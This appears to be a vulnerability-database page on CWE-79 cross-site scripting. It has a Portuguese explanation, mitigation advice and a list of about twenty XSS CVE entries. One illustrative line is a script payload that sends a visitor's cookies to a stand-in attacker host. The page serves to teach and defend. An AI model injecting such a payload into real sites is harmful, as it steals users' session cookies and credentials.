Fallos del tipo CWE-79

28.777 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-45836HIGHWordPress Download Manager Plugin <= 3.2.59 is vulnerable to Cross Site Scripting (XSS)EPSS 0.7%CVE-2023-45815MEDIUMArchiveBox: Viewing wget extractor output while logged in as an admin allows archived JS to execute in the admins contextEPSS 0.7%CVE-2023-24896MEDIUMDynamics 365 Finance Spoofing VulnerabilityEPSS 0.7%CVE-2024-48120MEDIUMX2CRM v8.5 is vulnerable to a stored Cross-Site Scripting (XSS) in the "Opportunities" module. An attacker can inject malicious JavaScript cEPSS 0.7%CVE-2026-52760MEDIUMApache ActiveMQ, Apache ActiveMQ Web Console: Stored XSS via Unescaped values in ActiveMQ Web ConsoleEPSS 0.7%CVE-2021-24196—Social Slider Widget < 1.8.5 - Authenticated Reflected Cross-Site Scripting (XSS)EPSS 0.7%CVE-2024-4672MEDIUMCampcodes Complete Web-Based School Management System show_student_subject.php cross site scriptingEPSS 0.7%CVE-2023-4774MEDIUMWP-Matomo Integration (WP-Piwik) <= 1.0.28 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.7%CVE-2022-4697MEDIUMProfilePress <= 4.5.0 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.7%CVE-2024-0614MEDIUMEvents Manager <= 6.4.6.4 - Authenticated(Administator+) Stored Cross-Site Scripting via settingsEPSS 0.7%CVE-2023-7133MEDIUMy_project RuoYi HTTP POST Request login cross site scriptingEPSS 0.7%CVE-2023-6774MEDIUMCodeAstro POS and Inventory Management System register_account cross site scriptingEPSS 0.7%CVE-2026-42253MEDIUMApache ActiveMQ, Apache ActiveMQ Web: HTTP Response Header Injection via JMS Message PropertiesEPSS 0.7%CVE-2018-0408—A vulnerability in the web-based management interface of Cisco Small Business 300 Series (Sx300) Managed Switches could allow an authenticatEPSS 0.7%CVE-2018-0407—A vulnerability in the web-based management interface of Cisco Small Business 300 Series (Sx300) Managed Switches could allow an authenticatEPSS 0.7%CVE-2021-43776HIGHXSS vulnerability in @backstage/plugin-auth-backendEPSS 0.7%CVE-2022-40748MEDIUMIBM InfoSphere Information Server 11.7 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript EPSS 0.7%CVE-2022-2065HIGHCross-site Scripting (XSS) - Stored in neorazorx/facturascriptsEPSS 0.7%CVE-2022-35721MEDIUMIBM Jazz for Service Management 1.1.3 is vulnerable to stored cross-site scripting. This vulnerability allows users to embed arbitrary JavaSEPSS 0.7%CVE-2022-1997HIGHCross-site Scripting (XSS) - Stored in francoisjacquet/rosariosisEPSS 0.7%